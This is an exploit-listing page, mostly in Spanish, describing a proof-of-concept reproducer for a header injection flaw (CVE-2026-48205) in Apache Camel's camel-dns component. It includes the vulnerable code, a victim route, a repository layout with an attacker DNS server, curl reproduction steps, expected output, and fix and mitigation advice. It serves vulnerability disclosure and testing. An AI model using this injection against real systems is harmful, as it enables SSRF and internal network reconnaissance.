## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-OSCERD-CVE-2026-48205
# camel-dns `dns.*` / `term` Header Injection Reproducer (CVE-2026-48205)
Este proyecto demuestra una **inyección de encabezados de mensaje** en el componente `camel-dns` de Apache Camel, registrada como **CVE-2026-48205**. Los productores DNS leen sus parámetros de operación — el resolvedor a consultar, el nombre/dominio a buscar, el tipo/clase de registro y el término de búsqueda — de los encabezados Exchange cuyos valores constantes (`DnsConstants.DNS_SERVER`, `DNS_NAME`, `DNS_DOMAIN`, `DNS_TYPE`, `DNS_CLASS`, `TERM`) eran las cadenas simples `dns.server`, `dns.name`, `dns.domain`, `dns.type`, `dns.class` y `term`. Debido a que estos nombres no comienzan con el prefijo `Camel` / `camel`, `HttpHeaderFilterStrategy` — que solo bloquea el espacio de nombres de encabezados Camel en el lÃmite HTTP — les permite pasar de una solicitud HTTP entrante directamente al Exchange.
En una ruta que conecta un consumidor HTTP (por ejemplo platform-http) con un productor `dns:`, cualquier cliente HTTP puede, por lo tanto, establecer el encabezado **`dns.server`** para hacer que el productor `dig` construya un `SimpleResolver` que apunte a un servidor DNS controlado por el atacante — una **falsificación de solicitud del lado del servidor (SSRF) vÃa DNS** , a través de la cual el atacante observa el nombre consultado y puede devolver respuestas envenenadas — y puede establecer `dns.name` / `dns.domain` para resolver nombres de host internos arbitrarios (reconocimiento de red interna).
Advisory: https://camel.apache.org/security/CVE-2026-48205.html
## Resumen de la vulnerabilidad
> La corrección renombra los encabezados a `CamelDnsServer` / `CamelDnsName` / etc., para que se filtren en el lÃmite HTTP como cualquier otro encabezado de control de Camel. Misma familia que CVE-2025-27636, CVE-2026-46454 y CVE-2026-47323.
## Detalles técnicos
root@kitploit:~
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME = "dns.name";
// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server); // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server
La corrección (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) renombra los valores a la convención `CamelDns*`.
## La ruta vÃctima
root@kitploit:~
from("platform-http:/lookup")
.setHeader("dns.name", constant("example.com"))
.setHeader("dns.type", constant("A"))
.setHeader("dns.class", constant("IN"))
.to("dns:dig"); // no dns.server -> default resolver (intended)
La ruta consulta un nombre fijo contra el resolvedor predeterminado. El atacante añade un único encabezado `dns.server` y la consulta se redirige a su servidor DNS. (`dns.server` está en minúsculas, por lo que sobrevive la normalización de encabezados de un contenedor de servlets — platform-http es suficiente.)
## Estructura del repositorio
Everything runs in one self-contained container: the victim route, the attacker's fake DNS server (UDP 53), and the attacker driver.
root@kitploit:~
CVE-2026-48205/
├── pom.xml # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FakeDnsServer.java # attacker DNS server on UDP 53 (records the redirected query)
│ ├── VictimRoute.java # platform-http:/lookup -> dns:dig
│ └── ExploitController.java # attacker: injects dns.server=127.0.0.1
└── resources/
└── application.properties
## Requisitos previos
* Docker y Docker Compose (el servidor DNS falso enlaza el puerto UDP 53, que necesita root — el contenedor se ejecuta como root)
* Java 17+ y Maven 3.8+ (para construir el jar)
## Pasos para la reproducción
root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
### Salida esperada
root@kitploit:~
=== 1) Legitimate request (no dns.server header) — default resolver ===
attacker's DNS server was queried: false
=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
attacker's DNS server was queried: true
observed lookup name: example.com.
>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true
El servidor DNS del atacante ahora ve el nombre de búsqueda de la vÃctima (y podrÃa devolver una respuesta envenenada). Apuntar `dns.server` a un resolvedor DNS interno real, o establecer `dns.name` a nombres de host internos, permite el reconocimiento de la red interna.
## Corrección recomendada
Actualice a **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23574). Después de la actualización, las rutas que manejan operaciones DNS a través de encabezados deben usar `CamelDnsServer` / `CamelDnsName` / etc.
## Mitigación
Hasta la actualización, elimine los encabezados `dns.*` y `term` de cualquier entrada no confiable antes del productor `dns:`, y establezca el servidor DNS y los parámetros de búsqueda desde una fuente confiable en la ruta.
## Descargo de responsabilidad
Este reproductor se proporciona solo para **investigación de seguridad y pruebas autorizadas** , para una vulnerabilidad **divulgada públicamente y corregida**. No lo utilice contra sistemas sin permiso explÃcito.